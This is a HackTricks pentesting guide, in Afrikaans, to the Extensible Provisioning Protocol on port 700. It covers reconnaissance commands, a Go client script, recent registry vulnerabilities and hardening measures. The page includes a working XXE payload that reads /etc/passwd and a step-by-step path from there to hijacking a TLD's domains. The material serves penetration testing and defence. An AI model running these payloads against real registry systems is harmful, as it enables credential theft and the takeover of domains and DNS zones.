700 - Pentesting EPP

Reading time: 6 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Die Extensible Provisioning Protocol (EPP) is 'n netwerkprotokol wat gebruik word vir die bestuur van domeinnames en ander internetbronne deur domeinnaam registrasies en registrars. Dit stel die outomatisering van domeinnaamregistrasie, hernuwing, oordrag en verwydering prosesse in staat, wat 'n gestandaardiseerde en veilige kommunikasiekader tussen verskillende entiteite in die domeinnaamstelsel (DNS) verseker. EPP is ontwerp om buigsaam en uitbreidbaar te wees, wat die toevoeging van nuwe kenmerke en opdragte moontlik maak namate die behoeftes van die internetinfrastruktuur ontwikkel.

Basies, dit is een van die protokolle wat 'n TLD registrar gaan aanbied aan domein registrars om nuwe domeine in die TLD te registreer.

Pentest

In hierdie baie interessante artikel kan jy sien hoe sommige sekuriteitsnavorsers verskeie implementasies van hierdie protokol gevind het wat kwesbaar was vir XXE (XML External Entity) aangesien hierdie protokol XML gebruik om te kommunikeer, wat aanvallers sou toegelaat het om tientalle verskillende TLD's oor te neem.


Enumerasie & Recon

EPP bedieners luister byna altyd op TCP 700/tcp oor TLS. 'n Tipiese implementering afdwing ook mutual-TLS (mTLS) sodat die kliënt 'n geldige sertifikaat wat deur die registrasie CA uitgereik is, moet aanbied. Nietemin, baie private toets- of voorproduksie-implementasies vergeet daardie beheer:

bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

As die bediener nie die verbinding beëindig na die TLS-handdruk nie, kan jy probeer om 'n nie-geoutentiseerde <hello/> boodskap te stuur:

xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Open-source clients useful for testing

  • epp-client (Go) – aktief onderhoude, ondersteun TCP/TLS en EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
  • gandi/go-epp – minimale kliëntbiblioteek wat maklik vir fuzzing of nuclei-styl werksvloei's geinstrumenteer kan word.
  • afq984/php-epp-client – PHP-implementasie wat deur baie klein registrateurs gebruik word; 'n gerieflike teiken vir kode-oorsig.

Voorbeeld minimale aanmeld+kontrole skrip met Go epp-client:

go
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

Algemene Swakhede & 2023-2025 Kw vulnerabilities

JaarKomponentCWEImpak
2023CoCCA Registrasie < 3.5CWE-611 XXEAfgeleë lêer lees & SSRF via vervaardigde <epp> payload (patch: 2023-11-02)
2024FRED EPP Bediener 2.xCWE-322 Onvoldoende TLS sertifikaat validasieBypass van mTLS het ongeoorloofde registrateur aanmelding toegelaat
2025Eie registrateur paneelCWE-306 Ontbrekende Verifikasie vir Kritieke FunksieDomein oordrag goedkeuringspunt blootgestel oor EPP-HTTP brug

XXE / SSRF payload (werk teen baie Java/Spring implementasies)

xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

Wanneer die parser verkeerd gekonfigureer is (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), word die lêerinhoud binne die <resData> struktuur teruggestuur.

Ander tipiese bevindings

  1. Swak geloofsbriefbeleid – EPP aanmeldwagwoorde korter as 8 karakters; brute-force is dikwels haalbaar omdat die spesifikasie slegs aanbeveel (nie vereis nie) om koersbeperking toe te pas.
  2. Ontbrekende registryLock / serverUpdateProhibited status – sodra geverifieer, kan aanvallers onmiddellik NS rekords opdateer en verkeer steel.
  3. Ongesigneerde peilboodskappe – sommige implementasies teken steeds nie peil Q&A boodskappe nie, wat spoofing/phishing van registrateur operateurs moontlik maak.

Aanvalspad: Van Nul tot TLD Kaap

  1. Ontdek 'n EPP eindpunt (dikwels versteek agter 'n generiese gasheer soos ot&e.<tld>.nic.<cc>).
  2. Misbruik een van die bogenoemde swakhede om registrateur-niveau geloofsbriewe te verkry (XXE → SSRF na IMDSv1, geloofsbrief eksfiltrasie, of TLS-omseiling).
  3. Stuur <update> versoeke om die domein se hostObj rekords na aanvaller-beheerde naamservers te verander.
  4. (Opsioneel) Dien 'n <transfer> in om die domein na 'n aanvaller-beheerde registrateur te skuif – baie registrasies staatmaak steeds op 'n enkele auth-code.
  5. Wins: volle beheer oor DNS-sone, vermoë om TLS sertifikate aan te vra via ACME.

Verdedigingsmaatreëls & Versterking

  • Handhaaf mTLS met per-registrateur kliënt sertifikate en pin die registrasie CA.
  • Stel parserFeature secure-processing=true of gelykwaardig in om XXE te beëindig.
  • Voer deurlopende fuzzing van die XML-parser uit (bv. met go-fuzz of jazzer vir Java).
  • Ontplooi Registry Lock / server*Prohibited statusse vir hoëwaarde domeine.
  • Monitor poll wag vir verdagte <transfer> of <update> opdragte en waarsku in werklike tyd.
  • ICANN 2024 DNS-Misbruik kontrakwysigings vereis dat registrasies moet bewys dat koersbeperkings & auth kontroles toegepas word – benut dit.

Verwysings

  • ICANN Veiligheid en Stabiliteit Advieskomitee (SSAC). "SAC118: Gevolge van Registrasie Operateur se Faal om EPP Veiligheid Beheermaatreëls te Implementeer". 2024.
  • HackCompute – "Hacking EPP bedieners: misbruik van XXE om TLDs te kaap" (2023).

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks